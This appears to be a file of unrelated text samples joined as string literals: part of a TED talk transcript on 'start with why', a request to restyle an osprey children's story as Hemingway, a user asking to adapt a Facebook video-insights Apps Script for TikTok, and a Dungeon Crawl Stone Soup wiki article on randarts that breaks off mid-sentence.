terminology.\n11:12\nThe first two and a half percent of our population are our innovators.\n11:17\nThe next 13 and a half percent of our population are our early adopters.\n11:22\nThe next 34 percent are your early majority,\n11:24\nyour late majority and your laggards.\n11:28\nThe only reason these people buy touch tone phones\n11:29\nis because you can\'t buy rotary phones anymore.\n11:31\n(Laughter)\n11:34\nWe all sit at various places at various times on this scale,\n11:37\nbut what the law of diffusion of innovation tells us\n11:40\nis that if you want mass-market success\n11:43\nor mass-market acceptance of an idea,\n11:45\nyou cannot have it until you achieve this tipping point,\n11:49\nbetween 15 and 18 percent market penetration, and then the system tips.\n11:55\nAnd I love asking businesses, "What\'s your conversion on new business?"\n11:58\nAnd they love to tell you, "Oh, it\'s about 10 percent," proudly.\n12:00\nWell, you can trip over 10 percent of the customers.\n12:02\nWe all have about 10 percent who just "get it."\n12:04\nThat\'s how we describe them, right?\n12:05\nThat\'s like that gut feeling, "Oh, they just get it."\n12:07\nThe problem is: How do you find the ones that get it\n12:10\nbefore you\'re doing business with them versus the ones who don\'t get it?\n12:13\nSo it\'s this here, this little gap that you have to close,\n12:18\nas Jeffrey Moore calls it, "Crossing the Chasm" --\n12:20\nBecause, you see, the early majority will not try something\n12:24\nuntil someone else has tried it first.\n12:28\nAnd these guys, the innovators and the early adopters,\n12:31\nthey\'re comfortable making those gut decisions.\n12:33\nThey\'re more comfortable making those intuitive decisions\n12:36\nthat are driven by what they believe about the world\n12:40\nand not just what product is available.\n12:42\nThese are the people who stood in line for 6 hours\n12:45\nto buy an iPhone when they first came out,\n12:47\nwhen you could have just walked into the store the next week\n12:49\nand bought one off the shelf.\n12:50\nThese are the people who spent 40,000 dollars\n12:52\non flat screen TVs when they first came out,\n12:55\neven though the technology was substandard.\n12:58\nAnd, by the way, they didn\'t do it\n12:59\nbecause the technology was so great, they did it for themselves.\n13:03\nIt\'s because they wanted to be first.\n13:06\nPeople don\'t buy what you do, they buy why you do it\n13:08\nand what you do simply proves what you believe.\n13:12\nIn fact, people will do the things that prove what they believe.\n13:16\nThe reason that person bought the iPhone in the first six hours,\n13:21\nstood in line for six hours,\n13:23\nwas because of what they believed about the world,\n13:25\nand how they wanted everybody to see them:\n13:27\nThey were first.\n13:28\nPeople don\'t buy what you do, they buy why you do it.\n13:31\nSo let me give you a famous example,\n13:34\na famous failure and a famous success of the law of diffusion of innovation.\n13:37\nFirst, the famous failure.\n13:39\nIt\'s a commercial example.\n13:41\nAs we said before, a second ago, the recipe for success is\n13:44\nmoney and the right people and the right market conditions.\n13:46\nRight? You should have success then.\n13:48\nLook at TiVo.\n13:50\nFrom the time TiVo came out about 8 or nine 9 ago to this current day,\n13:54\nthey are the single highest-quality product on the market,\n13:58\nhands down, there is no dispute.\n14:00\nThey were extremely well-funded.\n14:02\nMarket conditions were fantastic.\n14:04\nI mean, we use TiVo as verb.\n14:06\nI TiVo stuff on my piece of junk Time Warner DVR all the time.\n14:11\nBut TiVo\'s a commercial failure.\n14:14\nThey\'ve never made money.\n14:16\nAnd when they went IPO, their stock was at about 30 or 40 dollars\n14:20\nand then plummeted, and it\'s never traded above 10.\n14:22\nIn fact, I don\'t think it\'s even traded above 6, except for a couple of little spikes.\n14:27\nBecause you see, when TiVo launched their product\n14:29\nthey told us all what they had.\n14:32\nThey said, "We have a product that pauses live TV,\n14:35\nskips commercials, rewinds live TV\n14:38\nand memorizes your viewing habits without you even asking."\n14:43\nAnd the cynical majority said, "We don\'t believe you.\n14:47\nWe don\'t need it. We don\'t like it. You\'re scaring us."\n14:51\nWhat if they had said,\n14:53\n"If you\'re the kind of person who likes to have total control\n14:58\nover every aspect of your life, boy, do we have a product for you.\n15:04\nIt pauses live TV, skips commercials, memorizes your viewing habits, etc., etc."\n15:09\nPeople don\'t buy what you do, they buy why you do it.\n15:10\nAnd what you do simply serves as the proof of what you believe.\n15:15\nNow let me give you a successful example of the law of diffusion of innovation.\n15:21\nIn the summer of 1963, 250,000 people showed up\n15:26\non the mall in Washington to hear Dr. King speak.\n15:31\nThey sent out no invitations, and there was no website to check the date.\n15:37\nHow do you do that?\n15:39\nWell, Dr. King wasn\'t the only man in America who was a great orator.\n15:44\nHe wasn\'t the only man in America who suffered in a pre-civil rights America.\n15:47\nIn fact, some of his ideas were bad.\n15:50\nBut he had a gift.\n15:52\nHe didn\'t go around telling people what needed to change in America.\n15:55\nHe went around and told people what he believed.\n15:57\n"I believe, I believe, I believe," he told people.\n16:01\nAnd people who believed what he believed\n16:03\ntook his cause, and they made it their own, and they told people.\n16:06\nAnd some of those people created structures\n16:09\nto get the word out to even more people.\n16:12\nAnd lo and behold, 250,000 people showed up\n16:15\non the right day, at the right time to hear him speak.\n16:19\nHow many of them showed up for him? Zero.\n16:26\nThey showed up for themselves.\n16:28\nIt\'s what they believed about America\n16:30\nthat got them to travel in a bus for 8 hours\n16:33\nto stand in the sun in Washington in the middle of August.\n16:36\nIt\'s what they believed, and it wasn\'t about black versus white:\n16:39\n25 percent of the audience was white.\n16:42\nDr. King believed that there are two types of laws in this world:\n16:45\nthose that are made by a higher authority and those that are made by man.\n16:49\nAnd not until all the laws that are made by man are consistent with the laws\n16:54\nthat are made by the higher authority will we live in a just world.\n16:57\nIt just so happened that the Civil Rights Movement\n16:59\nwas the perfect thing to help him bring his cause to life.\n17:04\nWe followed, not for him, but for ourselves.\n17:07\nAnd, by the way, he gave the "I have a dream" speech,\n17:09\nnot the "I have a plan" speech.\n17:12\n(Laughter)\n17:15\nListen to politicians now, with their comprehensive 12-point plans.\n17:17\nThey\'re not inspiring anybody.\n17:20\nBecause there are leaders and there are those who lead.\n17:23\nLeaders hold a position of power or authority,\n17:27\nbut those who lead inspire us.\n17:31\nWhether they\'re individuals or organizations, we follow those who lead,\n17:35\nnot because we have to, but because we want to.\n17:40\nWe follow those who lead, not for them, but for ourselves.\n17:45\nAnd it\'s those who start with "why" that have the ability\n17:51\nto inspire those around them or find others who inspire them.\n17:56\nThank you very much.' +"Please write this in the style of Hemingway: Looking out from the nest of this osprey HAWK family on a bright sunny morning Joey watched as a group of EAGLES fished off of a gleaming white sand bar gently lapped by blu-ish green waters of the bay. The EAGLES fluttered, hopped and scurried about in the bubbly white surf, their chatter and song filling the tropical sea air and Joey’s young mind. \n\nJoey was about the same age as the youthful EAGLES out there on the sand bar. Those EA-GLES had dark feathers like Joey as they had not developed the white head and tail feathers of the older bald EAGLES. Joey did not look at all like Livie, his brightly colored osprey sister who was older than Joey. \n\nJoey felt a gentle morning breeze as he looked out along his broad wings colored dark grey with white mottling. The breeze raised up the ends of the contour feathers along the leading edge of Joey’s wings and slightly ruffled his long wing tip primary feathers. Joey wondered if his wings would sustain his flight on great thermal air currents on his dream to soar all the way up to the top of the sky.\n\nAfter noontime Joey watched as the EAGLES lifted slowly upward in flapping flight high above their bay world of sand, sea, and tropical keys until they were soaring on warm upwelling thermal currents. With their wings fully outstretched they spiraled higher and higher upward.\n\nAs Joey watched the EAGLES with intense admiration they slowly soared through misty white vapor into a billowing and radiant cumulus cloud that floated above in the vast ocean of blue sky. Then all of the EAGLES disappeared into the cloud. \n\nJoey's head swam with dizzying visions of soaring way up there into white towering clouds. \n\n“One day soon I will surely soar to the top of the sky like those EAGLES,” thought Joey.\n\nThen Joey heard a rushing and fluttering of wing feathers and turned his head to see a long-winged bird turn into the wind and level out on a glide directly toward him. With its great wings fully outstretched and its tail fanned and lowered, this winsomely white bird cut a strik-ing figure as it loomed upon the nest. \n\nThe great bird stretched its head and long white legs with taloned feet forward and raised its wings up and back with long primary feathers splayed. The bird seized onto a thick branch at the edge of the nest and tipped forward unstably. Then it quickly rotated its wings revealing a distinctive bold patterning of brown and black across their undersides as the bird recovered to an upright position. \n\n“Ahoy there my little avian predator!” exclaimed the bird as she folded her long wings and set-tled into a resting position at the edge of the nest. \n\n“Hello Livie,” replied Joey still crouched in the thicket of the large protective nest.\n\n“And what kind of day is our youngest raptor having?” asked Joey’s sister Livie. \n\n“I have been watching the EAGLES, Livie,” replied Joey. “They were fishing, playing, and sunning out there on that sand bar and the key just beyond it. Then the EAGLES went soaring right up into those clouds.” \n\n“I want to soar up there to the top of the sky!” exclaimed Joey. “Would you like to go soaring with me, Livie?”\n\n“Sure Joey, in a while,” replied Livie. \n\nThen Joey began dragging a favorite stick across the nest bed. \n\n“You’re such a kid Joey!” exclaimed Livie as she hopped down into the nest and grabbed the other end of the stick with her bill engaging Joey in a friendly game of tug of war. \n\nJoey pulled his stick free from Livie's grasp and won the tug. Then Livie picked up a tuft of grass from the nest bed and playfully tossed it at Joey. \n\n“Oh Joey I remember you always romping and playing on the nest with some odd shaped sticks and sea shells,” said Livie. “Those were some of your favorite toys and you would spend count-less hours leaping upon them, pecking at them, caressing them, tossing them into the air and then catching them with your feet before they hit the nest.“\n\n“I know that Livie, but now I just want to go soaring. Will you go soaring with me?” asked Jo-ey.\n\n“All right Joey you’re on!” shouted Livie as she began flapping her wings and lifted off sky-ward.\n\n“That’s great!” exclaimed Joey, as he began flapping his wings and lifted off from the nest. Jo-ey heard the song of the heart rushing through his mind as the world became smaller below. \n\nBy now the clouds boiling up above the bay were indicating strong thermals in a sky laden with moisture which was energizing the thermals. The clouds were growing larger, bubbling and bursting upward with great speed. \n\nJoey and his sister Livie lifted up on broad wings high above their tropical nest key until they were soaring on wide upwelling thermal currents. They flapped and soared in the direction of some brilliant white clouds.\n\nAs Livie and Joey flew through shadows cast down below the clouds they felt the rush of ther-mal currents that were feeding into the growing cumulus clouds. \n\nWith their wings fully outstretched now Livie and Joey spiraled higher and higher until their nest key was just a small but shining emerald among the many green keys sprinkled off the southern tip of the Everglades across Florida Bay. \n\nAs they continued to soar upward on strong thermal currents, Livie and Joey headed toward a developing cumulus cloud that was billowing out in front of some darker clouds. \n\nAs the two youngsters approached the cloud, Joey exclaimed: “Wow, look at the top of that cloud bursting upwards!”\n\n“I see it Joey,” replied Livie.\n\nThe warm air currents were rushing up beneath their wings as Livie and Joey entered gray mist at the base of the cloud. “Don’t stiffen up! Stay relaxed Joey!” shouted Livie. \n\nThey soared through misty vapor into the billowing and radiant cumulus cloud. \n\n“Sharpen your turn and stay within the up draft!” shouted Livie as the strong thermal pushed them upward. \n\nJoey felt the exhilaration of the warm air pushing up under his wing and body feathers. Then he was jolted by a strong gust which ruffled his long wing-tip primary feathers and thrust up the ends of the contour feathers along the leading edge of his wings. \n\n“This is awesome!” yelled Joey as the thermal current pushed them higher and higher inside the cloud. \n\nBy now Joey could see feelers of lightening branching off in all directions above them. \n\nThen Joey and Livie were buffeted by strong wind turbulence inside the great cloud which tossed them around. \n\nJoey felt muscles and tendons straining and saw feathers bending out along his wings as he tried to recover stable flight. \n\nThe shearing winds of a down draft slammed into Joey pushing him downward. \nThen strong gusts superimposed upon the down draft tossed Joey upside down. \n\n“I’m out of control!” thought Joey as fear clouded his mind. \n\nBrilliant light surrounded Joey as he was thrust out the side of the great cumulus cloud.\n\n“Wow that was the greatest experience of my life!” shouted Joey as he looked around. Joey could not see Livie as dark gray cloud now whizzed past his face. So Joey flew toward home on a long flat glide. \n\nJoey spotted Livie already back at their key. There sat Livie perched on a branch above their nest overlooking the grassy green meadow at the center of the key. Joey flew directly toward her and alighted onto the nest. \n\n“How did you get back here so fast Livie?” asked Joey. \n\n“I tumbled and turned every which way right out the side of the cloud!” exclaimed Livie. \n\n“That’s exactly what happened to me and I loved it!” exclaimed Joey. “I want to soar even higher into the greatest cloud next time!” \n\n“Oh Joey you don’t know the half of it,” remarked Livie. \n\n“What do you mean?” asked Joey.\n\n“The greatest cloud you speak of is the great storm!” exclaimed Livie. \n\n“So what?” asked Joey. \n\n“Mom said if you soar high into the storm there is great turbulence around the freezing level and you could collide with balls of ice that are tossing and churning up and down inside the cloud!” answered Livie. \n\n“That’s so cool!” exclaimed Joey. \n\n“It’s not funny,” replied Livie. “You must also watch out for strong shear currents created be-tween the downdraft and the thermal air flowing upward into the cloud. I’ve heard that the shearing winds between those up drafts and down drafts have torn birds apart!”\n\n“I still want to soar higher!” exclaimed Joey. “I want to soar to the top of the sky!” \n\n“I have heard that those up drafts and down drafts aren't even clearly defined as we just experi-enced for ourselves, Joey. There are strong gusts superimposed upon the up and down drafts which are rolling, tumbling and turning every which way,” remarked Livie. \n\n“Well, I had almost recovered to stable flight and was trying to stay within the up draft like you told me to do before I was tossed about and pushed out of the cloud by those crosswinds,” said Joey. \n\n“Stable flight is always a good feeling when we can do it. But most importantly Mom said we must learn to bend without breaking,” added Livie. \n\n“Okay then I will soar and bend right up to the top of the sky!” shouted Joey. \n\n“Look Joey here comes Mom and she’s clutching a big fish. Will she drop that fish\non the nest or will she dine in with us?” asked Livie as she began narrating Mom’s arrival.\n\n“And now Mom glides in, a magnificent specimen of a sea HAWK,” said Livie.\n\n“Mom hovers above the nest for a moment, then drops down to the nest with great wings raised up high, and with her head erect and legs wide apart she touches down for a perfect landing,” continued Livie with her narration. \n\n“Now Mom will prepare the meal of freshly caught seafood as her youngsters sit side by side with their necks craning forward and eyes watching intently as Mom carves the dinner.”\n\n“Oh cut it out Livie!” exclaimed Mom. “Now let's have dinner!”\n\nThen Mom passed tasty chunks of white meat to Livie and Joey from her bill to their bills and intermittently swallowed a piece of fish herself. \n\nAfter eating Mom flew over to a buttonwood tree and began grooming her feathers. \n\n“Now tell me Livie, have you tasted the mystical berries?” asked Joey. \n\n“What are mystical berries?” replied Livie. \n\n“They are berries that fall to the ground and accumulate in a sump under the mystic tree. I have often eaten those berries with my friends. The mystical berries make me feel happy and strong. Then my friends and I soared, whirled around and around and talon locked all afternoon having great fun!” exclaimed Joey.\n\n“Will you go with me to eat the mystical berries now?” asked Joey. \n\nLivie did not answer. Livie was busy preening her feathers as she nibbled along straightening and aligning each feather. \n\nJoey gazed out over the shimmering waters of Florida Bay and mused on the brightness of the day. Joey felt as one with all creatures swimming in the tides, moving on the land and flying in the skies.\n\nJoey felt the rhythms of all of nature flowing through his body and he heard the song of the heart pounding in his head. His mind warmed and flooded with white sunshine and his heart felt a fullness like it was filled with the brightness of joy and if the day would be any brighter, well his heart could just explode. \n\nJoey watched for the return of the EAGLES as the day turned into night and he fell asleep." +'Ive got this script for facebook videos, can you take inspiration on it and build one for tiktok videos of my account?\n\n// Configuration Extract and transform Constants\nconst SLACK\\_WEBHOOK\\_URL = \'YOUR\\_SLACK\\_WEBHOOK\\_URL\'; // Replace with the webhook URL you copied\n\nconst {\n PAGE\\_ID,\n ACCESS\\_TOKEN,\n SPREADSHEET\\_ID,\n SHEET\\_NAME,\n LOAD\\_STARTING\\_CELL,\n UNTIL\\_X\\_DAYS,\n SINCE\\_X\\_DAYS,\n NUM\\_ITERATIONS,\n LIMIT,\n}= getConfigurations();\n\nconst FIELDS = [\n "permalink\\_url",\n "length",\n "id",\n "created\\_time",\n "title",\n].join(\',\');\nconst INSIGHT\\_METRICS\\_MAP = {\n "total\\_video\\_impressions": "Impressions",\n "total\\_video\\_avg\\_time\\_watched": "AVD",\n "total\\_video\\_views": "Views\\_3",\n "total\\_video\\_10s\\_views": "Views\\_10",\n "total\\_video\\_15s\\_views": "Views\\_15",\n "total\\_video\\_30s\\_views": "Views\\_30",\n "total\\_video\\_60s\\_excludes\\_shorter\\_views": "Views\\_60",\n "total\\_video\\_complete\\_views": "Views\\_0s\\_al\\_95p",\n "total\\_video\\_stories\\_by\\_action\\_type": {\n "like": "likes",\n "share": "shares",\n "comment": "comments"\n }\n};\nconst INSIGHTS\\_METRICS = Object.keys(INSIGHT\\_METRICS\\_MAP).join(\',\');\n// Configuration Load constants\nconst LOAD\\_MODE = \'DELETE\'; // \'APPEND\' or \'DELETE\'\nconst UNIQUE\\_ID\\_COLUMN = 4; // Change to the actual column index of the unique identifier\nconst EVALUATE\\_COLUMN = 9; // Change to the actual column index of the column to evaluate if the data is "newer"\nconst SORT\\_COLUMN = 1; // Change to the actual column index of the column to sort before re-pasting\n\n// Main function\nfunction doGet(config) {\n try {\n console.log("Starting data extraction...");\n const data = extractData(config.NUM\\_ITERATIONS);\n console.log(`Data extraction complete. ${data.length} records fetched.`);\n\n console.log("Transforming data...");\n const transformedData = transformData(data);\n console.log("Data transformation complete.");\n\n console.log("Loading data into the sheet...");\n loadData(config, transformedData);\n console.log("Data loading complete.");\n } catch (error) {\n // Log the error and send a message to Slack\n console.error(`Error in doGet: ${error.message}`);\n // sendSlackNotification(`Error in doGet: ${error.message}`);\n }\n}\n\n/\\*\\*\n \\* Extracts video data from the Facebook Graph API and returns it as an array.\n \\* @param {number} numIterations - The number of times to iterate over the date range, decrementing the date range by SINCE\\_X\\_DAYS and UNTIL\\_X\\_DAYS on each iteration.\n \\* @return {Array} An array of video data objects containing information and insights about the videos.\n \\*/\nfunction extractData(config,numIterations) {\n const processedIds = [];\n let allFetchedData = [];\n const currentDate = new Date();\n let until = new Date(currentDate.getFullYear(), currentDate.getMonth(), currentDate.getDate() - config.UNTIL\\_X\\_DAYS);\n \n for (let iteration = 0; iteration < numIterations; iteration++) {\n const since = new Date(until.getFullYear(), until.getMonth(), until.getDate() - config.SINCE\\_X\\_DAYS);\n\n // Build the API URL for fetching video data\n const apiUrl = `https://graph.facebook.com/${config.PAGE\\_ID}/videos?fields=${FIELDS},video\\_insights.metric(${INSIGHTS\\_METRICS})&access\\_token=${config.ACCESS\\_TOKEN}&limit=${config.LIMIT}&since=${since.toISOString().slice(0, 10)}&until=${until.toISOString().slice(0, 10)}`;\n\n let nextPageUrl = apiUrl;\n\n while (nextPageUrl) {\n const response = UrlFetchApp.fetch(nextPageUrl);\n const json = JSON.parse(response.getContentText());\n\n allFetchedData = allFetchedData.concat(fetchFromApiResponse(json, processedIds));\n\n // Update nextPageUrl to fetch the next page if available\n nextPageUrl = json.paging?.next || null;\n }\n\n until = since;\n }\n\n return allFetchedData;\n}\n/\\*\\*\n \\* Filters and processes the videos from the given API response.\n \\*\n \\* @param {Object} apiResponse - The JSON object containing the API response data.\n \\* @param {Array} processedIds - An array of video IDs that have been processed so far.\n \\* @return {Array} An array of filtered and processed video data.\n \\*/\nfunction fetchFromApiResponse(apiResponse, processedIds) {\n const filteredData = apiResponse.data\n .filter((item) => {\n if (processedIds.includes(item.id)) {\n console.log(item.id + " Duplicated");\n return false;\n }\n processedIds.push(item.id);\n return true;\n })\n .filter((item) => {\n if (item.title === undefined) {\n return false;\n }\n // Remove any single or double quotes from the title to prevent issues with formatting or parsing when inserting data into the sheet.\n item.title = item.title.replace(/[\'"]+/g, "");\n return true;\n });\n\n return filteredData;\n}\n\n/\\*\\*\n \\* Transforms the extracted video data and returns it as an array.\n \\*\n \\* @param {Array} data - The raw video data array.\n \\* @return {Array} An array of transformed video data.\n \\*/\nfunction transformData(data) {\n // Directly return the transformed data without storing it in a variable.\n return data.map(transformRawData);\n}\n\n/\\*\\*\n \\* Transforms the raw video data into a structured object for insertion into the sheet.\n \\*\n \\* @param {Object} rawData - The raw video data object.\n \\* @return {Array} An array of transformed video data.\n \\*/\nfunction transformRawData(rawData) {\n // 1. Prepare and format video data fields\n const Fecha = new Date(rawData.created\\_time);\n const year = Fecha.getFullYear().toString().slice(2);\n const month = (Fecha.getMonth() + 1).toString().padStart(2, \'0\');\n const YY\\_MM = year + "-" +month;\n const Link = "https://www.facebook.com" + rawData.permalink\\_url;\n const Title = rawData.title.replace(/[\'"]+/g, \'\');\n const Id = rawData.id;\n const Length = rawData.length;\n\n // 2 Process video insights metrics and store them in a structured object\n const insights = {};\n // 2.1 Iterate through the INSIGHT\\_METRICS\\_MAP and calculate metric values\n for (const [metric, value] of Object.entries(INSIGHT\\_METRICS\\_MAP)) {\n const metricValue = getInsightValue(rawData.video\\_insights.data, metric);\n if (metric === "total\\_video\\_stories\\_by\\_action\\_type") {\n for (const [action, label] of Object.entries(value)) {\n insights[label] = metricValue?.[action] || 0;\n }\n } else {\n insights[value] = metricValue || 0;\n }\n }\n // 2.2 Extract individual metric values from the insights object\n const {\n Impressions,\n AVD,\n Views\\_3,\n Views\\_10,\n Views\\_15,\n Views\\_30,\n Views\\_60,\n Views\\_0s\\_al\\_95p,\n likes,\n comments,\n shares\n } = insights;\n\n // 3 Perform calculations using video data and insights to generate derived metrics\n const APV = AVD / (Length\\*1000); // Para que quede en porcentaje - Se multiplica X 1000 porque AVD esta en milisegundos\n const P\\_Del\\_0\\_al\\_60 = Views\\_60 / Impressions;\n const P\\_Del\\_60\\_al\\_95 = Views\\_0s\\_al\\_95p / Views\\_60;\n const P\\_Del\\_0\\_al\\_3 = Views\\_3 / Impressions;\n const P\\_Del\\_3\\_al\\_10 = Views\\_10 / Views\\_3;\n const P\\_Del\\_10\\_al\\_15 = Views\\_15 / Views\\_10;\n const P\\_Del\\_15\\_al\\_30 = Views\\_30 / Views\\_15;\n const P\\_Del\\_30\\_al\\_60 = Views\\_60 / Views\\_30;\n\n // 4 Build an array with the final video data and calculated metrics to be used for pasting\n const DataForPasting = [\n Fecha,\n Link,\n Title,\n Id,\n AVD / (86400\\*1000), // Esta en MILISEGUNDOS, para convertir tenemos que X 1000 x 60\\*60\\*24\n Length / 86400, // Esta en SEGUNDOS, para correcta lectura tenemos que convertilos a Fraccion de los segundos en un dia = 60\\*60\\*24 = 86400\n APV,\n \'\',\n Impressions,\n P\\_Del\\_0\\_al\\_60,\n Views\\_60,\n P\\_Del\\_60\\_al\\_95,\n Views\\_0s\\_al\\_95p,\n \'\',\n P\\_Del\\_0\\_al\\_3,\n P\\_Del\\_3\\_al\\_10,\n P\\_Del\\_10\\_al\\_15,\n P\\_Del\\_15\\_al\\_30,\n P\\_Del\\_30\\_al\\_60,\n \'\',\n likes,\n comments,\n shares,\n \'\',\n YY\\_MM,\n Impressions,\n Views\\_3,\n Views\\_10,\n Views\\_15,\n Views\\_30,\n Views\\_60,\n Views\\_0s\\_al\\_95p\n ];\n return DataForPasting;\n}\n\n/\\*\\*\n \\* Get the value of a specific metric from the given video insights.\n \\*\n \\* @param {Array} dataInsights - The array of video insights to search.\n \\* @param {string} metricName - The name of the metric to retrieve the value for.\n \\* @return {number} The value of the metric or 0 if it is not found.\n \\*/\nfunction getInsightValue(dataInsights, metricName) {\n // Find the insight object that matches the metricName\n const insight = dataInsights.find((i) => i.name === metricName);\n // If the insight object is found, return the value of the first value object in the values array\n // Otherwise, return 0\n return insight?.values[0]?.value || 0;\n}\n\n/\\*\\*\n \\* Loads the transformed video data into the given Google Spreadsheet sheet after clearing existing content.\n \\*\n \\* @param {Object} config - The configuration object containing spreadsheet ID and sheet name.\n \\* @param {Array} data - The transformed video data array.\n \\*/\nfunction loadData(config, data) {\n if (LOAD\\_MODE === \'APPEND\') {\n appendData(config, data);\n } else if (LOAD\\_MODE === \'DELETE\') {\n deleteAndLoadData(config, data);\n } else {\n throw new Error(\'Invalid load mode. Please use "APPEND" or "DELETE".\');\n }\n}\n\nfunction appendData(config, data) {\n const ss = SpreadsheetApp.openById(config.spreadsheetId);\n const sheet = ss.getSheetByName(config.sheetName);\n const numCols = data[0].length;\n // Load existing data from the sheet\n const existingData = sheet.getRange(LOAD\\_STARTING\\_CELL + ":" + sheet.getRange(sheet.getLastRow(), numCols).getA1Notation()).getValues();\n const newData = [];\n // Iterate through new data\n data.forEach((newDataRow) => {\n const id = newDataRow[UNIQUE\\_ID\\_COLUMN - 1];\n let found = false;\n // Iterate through existing data\n existingData.forEach((existingDataRow, index) => {\n if (existingDataRow[UNIQUE\\_ID\\_COLUMN - 1] === id) {\n found = true;\n if (existingDataRow[EVALUATE\\_COLUMN - 1] < newDataRow[EVALUATE\\_COLUMN - 1]) {\n existingData[index] = newDataRow;\n }\n }\n });\n if (!found) {\n newData.push(newDataRow);\n }\n });\n // Combine existing and new data\n const combinedData = existingData.concat(newData);\n // Sort combined data based on the SORT\\_COLUMN in descending order\n combinedData.sort((a, b) => {\n return b[SORT\\_COLUMN - 1] - a[SORT\\_COLUMN - 1];\n });\n // Clear the existing content and load the combined data\n sheet.getRange(LOAD\\_STARTING\\_CELL + ":" + sheet.getRange(sheet.getLastRow(), numCols).getA1Notation()).clearContent();\n // Set the correct column count when setting values in the sheet\n sheet.getRange(LOAD\\_STARTING\\_CELL + ":" + sheet.getRange(combinedData.length + 1, numCols).getA1Notation()).setValues(combinedData);\n}\n\nfunction deleteAndLoadData(config, data) {\n const ss = SpreadsheetApp.openById(config.spreadsheetId);\n const sheet = ss.getSheetByName(config.sheetName);\n const numRows = data.length;\n const numCols = data[0].length;\n const startingCell = sheet.getRange(LOAD\\_STARTING\\_CELL);\n const startingRow = startingCell.getRow();\n const startingCol = startingCell.getColumn();\n // Clear the content in the existing data range\n sheet.getRange(startingRow, startingCol, sheet.getLastRow() - startingRow + 1, numCols).clearContent();\n // Set the values in the new data range\n sheet.getRange(startingRow, startingCol, numRows, numCols).setValues(data);\n}\n\n// Utility Functions\n/\\*\\*\n \\* Sends a notification message to a Slack channel using an incoming webhook.\n \\*\n \\* Set up an incoming webhook in your Slack workspace:\n \\* a. Go to https://api.slack.com/apps and sign in to your Slack account.\n \\* b. Click "Create New App" and fill in the App Name and Development Slack Workspace, then click "Create App."\n \\* c. In the "Add features and functionality" section, click "Incoming Webhooks."\n \\* d. Enable incoming webhooks by toggling the switch to "On."\n \\* e. Click "Add New Webhook to Workspace" and choose the channel where you want to receive notifications. Click "Allow."\n \\* f. Copy the Webhook URL, as you will need it in your script.\n \\*\n \\* Replace YOUR\\_SLACK\\_WEBHOOK\\_URL with the webhook URL you copied from the Slack API page. Now, when an error occurs in your script, a message will be sent to the specified Slack channel.\n \\*\n \\* @function sendSlackNotification\n \\* @param {string} message - The message to be sent to the Slack channel.\n \\*/\nfunction sendSlackNotification(message) {\n const payload = {\n text: message\n };\n\n const options = {\n method: \'post\',\n contentType: \'application/json\',\n payload: JSON.stringify(payload)\n };\n\n UrlFetchApp.fetch(SLACK\\_WEBHOOK\\_URL, options);\n}' +'Randart\nVersion 0.29: This article is up to date for the latest stable release of Dungeon Crawl Stone Soup.\nRandarts, or random artefacts, are randomly or purposefully generated weapons, jewellery, armour, or spellbooks that can have any number of enchantments, egos, and brands, which are randomly selected from a pool of each of those attributes. They are also given names.\n\nContents\n1 How Randarts Occur\n2 Identifying A Randart\n3 Properties\n4 Names\n5 Strategy\n6 History\nHow Randarts Occur\nIn the Dungeon, randarts appear randomly starting on D:4. While a randart of any individual type is difficult to find (i.e., you cannot rely on finding a randart plate mail), randarts themselves are not particularly rare: a typical 3-rune game will produce around 10 to 20 without divine intervention.\n\nThree gods can also gift their followers randarts: Okawaru, Trog, and Xom. Okawaru gifts weapons and armour to high-piety followers; Trog gifts weapons (although usually of a higher quality than Oka\'s), while Xom can gift anything to any worshiper at any time, though with absolutely no degree of reliability.\n\nIdentifying A Randart\nDiscovering a randart is quite simple. they will look like any other item of the same type, most of the time, but the thing to look for is in the text description. Randarts will have a strange title in white text, like\n\na smoking dagger\nNote that randart spellbooks do not have their names in white text. However, they do bear descriptions different from those of mundane books, and their spells are automatically identified.\n\nProperties\nRandart weapons always have a brand, while randart jewellery always have a base type which gives the first in the list of auto inscription properties. Conversely, randart armour won\'t always have an ego. Randart weapons/armour tend to be enchanted, and may go above the usual limits for the item in question.\n\nIn addition, randarts can have any of the following properties:\n\nPositive or negative properties:\n\n±Str, Dex, or Int. Self-explanatory. The range is -5 to +12 inclusive.\n±Slay. Works identically to a ring of slaying. The range is -9 to +8 inclusive. Never found on weapons (Enchantment is exactly equal to slaying).\nFire resistance: ranges from rF- to rF+++.\nCold resistance: ranges from rC- to rC+++.\nWillpower: ranges from Will- to Will+++.\nStlth±: Increases or decreases your intrinsic stealth.\nMP±9: Increases or decreases your maximum MP by 9. Never found on antimagic weapons.\nNote that the base type of an item still applies. For example, a ring of willpower always gives Will+, so the randart property may give more than the base property.\n\nPositive properties:\n\nNegative energy resistance: ranges from rN+ to rN+++.\nPoison resistance: only exists as one nonstacking level, rPois.\nElectricity resistance: only exists as one nonstacking level, rElec.\nCorrosion resistance: only exists as one nonstacking level, rCorr.\nSInv: Lets you see invisible. Never found on barding.\n+Blink: Can evoke a blink for a small cost in MP. Never found on randarts with -Tele.\n+Fly: Grants the user flight.\n+Inv: Allows the wearer to Evoke Invisibility. Evocation is not particularly easy, with a cost in max HP drain.\nRegen+: Improves regeneration, as an amulet of regeneration. Only appears on armour (and amulets).\nNegative properties:\n\nFragile: The artefact can only be equipped once. After unequipping it, it is destroyed.\n\\*Noise: Makes noise when attacking, waking and alerting nearby monsters. The noise is somewhat louder than simply shouting. Only found on melee weapons.\n\\*Rage: Causes the wearer to randomly go berserk, similar to the berserkitis mutation, but much higher (20%). Only found on melee weapons.\n\\*Contam: Causes a large amount of magical contamination when unwielded/unworn, likely to cause bad mutations that may bypass mutation resistance.\n\\*Corrode: Causes the wearer to randomly corrode when taking damage. Each worn randart with this property increases the chance. Never appears with rCorr.\n\\*Drain: Causes the player to be drained when this randart is unwielded/unworn.\n-Cast: Inhibits all spellcasting. Only found on armour.\n-Tele: Blocks all forms of teleportation and blinking. Does not prevent banishment or space-warping effects (Passage of Golubria, Lugonu\'s Bend Space). Never appears with +Blink, and only on armour.\n\\*Slow: Causes the wearer to randomly become slowed when taking damage. Each worn randart with this property increases the chance by 1%.\nThese describe the properties that can appear above and beyond the artefact\'s base type; if you see properties on your randart not listed below, they are a result of that base type, most often in the case of randart jewellery. Note that a randart cannot receive properties that modify the intrinsic properties of its base item. For example, randart fire dragon armour always has rF++ and rC-; it can never have, say, rF+ or rC+.\n\nRandart spellbooks are different from other randarts in that they do not have any sort of special properties; they just have a random assortment of spell, grouped around one or more themes. Themes can include specific magical schools, general spell types such as "offensive spell", "defensive spell", "disabling spell", and specific levels of spells. The randbook\'s name will usually be a description of its theme (for example, the "Tome of Earthen 